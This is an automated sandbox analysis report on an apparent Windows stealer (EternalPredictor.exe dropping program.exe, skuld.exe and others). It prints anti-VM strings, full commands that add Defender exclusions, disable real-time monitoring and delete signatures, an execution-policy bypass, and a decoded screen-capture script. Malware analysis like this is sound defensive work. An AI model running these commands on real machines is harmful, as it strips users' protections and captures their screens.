Source: SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: max=scav ptr ] = (usageinit ms, fault tab= top=[...], fp:MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthGreekAdlamBamumBatakBuhidDograKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilcpu%dfilesimap2imap3imapspop3shostsrouteparsesse41sse42ssse3SHA-1matchrune NRGBAtls: Earlyutf-8%s*%dtext/bad n (at ClassP-224P-256P-384P-521ECDSAx32dbgvmsrvcprl_ccx96dbgdbgclrde4dotwindbgpc-retx64dbgghidraVMwarevmwarexc64zb8VizSM373836ALIONETVM-PCgeorgeGRAFPCT00917test42XC64ZB5Y3y73serverh86LHDDdQrgcQfofoGlK3zMRPgfV1XIZZuXj8vizsmASPNETS7WjufUser01tHiF2TGjBsjbLouiseGGw8NR3W1GJT-ForceattribNumberembedssqliteChromeChedotKometaFenrirCoowonLiebaoDragonCocCocYandexsecretpaypalbanquewalletcryptoexodusatomiccomptecreditpermisnumberbackupconfigVideosinlinefieldsConfigIntentMeteorImpactPolyMCBypassSystem
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f5vmware
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fvmwareuser
Source: eternal.exe, 00000002.00000002.3199743103.000000000110B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllB
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice

Source: C:\Users\user\AppData\Roaming\eternal.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\eternal.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 5_2_00007FF72C66A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

5_2_00007FF72C66A614

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 8_2_00007FFBA4220350 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

8_2_00007FFBA4220350

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 5_2_00007FF72C673480 GetProcessHeap,

5_2_00007FF72C673480

Source: C:\Users\user\AppData\Roaming\eternal.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C66A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF72C66A614
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C65C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF72C65C8A0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C65D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF72C65D12C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 5_2_00007FF72C65D30C SetUnhandledExceptionFilter,	5_2_00007FF72C65D30C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C66A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FF72C66A614
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C65C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00007FF72C65C8A0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C65D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FF72C65D12C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FF72C65D30C SetUnhandledExceptionFilter,	8_2_00007FF72C65D30C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4176058 SetUnhandledExceptionFilter,	8_2_00007FFBA4176058
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA4173248 IsProcessorFeaturePresent,00007FFBBB591A90,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFBBB591A90,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FFBA4173248
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA43D4390 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FFBA43D4390
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66A339C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FFBA66A339C
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBA66AE070 SetUnhandledExceptionFilter,	8_2_00007FFBA66AE070
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA493318 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FFBAA493318
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA499038 RtlLookupFunctionEntry,SetUnhandledExceptionFilter,	8_2_00007FFBAA499038
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA499050 SetUnhandledExceptionFilter,	8_2_00007FFBAA499050
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4C37E0 IsProcessorFeaturePresent,00007FFBBB591A90,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FFBBB591A90,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00007FFBAA4C37E0
Source: C:\Users\user\AppData\Roaming\program.exe	Code function: 8_2_00007FFBAA4C7060 SetUnhandledExceptionFilter,	8_2_00007FFBAA4C7060

Source: C:\Users\user\Desktop\EternalPredictor.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

Modifies the hosts file

Source: C:\Users\user\AppData\Roaming\program.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Removes signatures from Windows Defender

Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
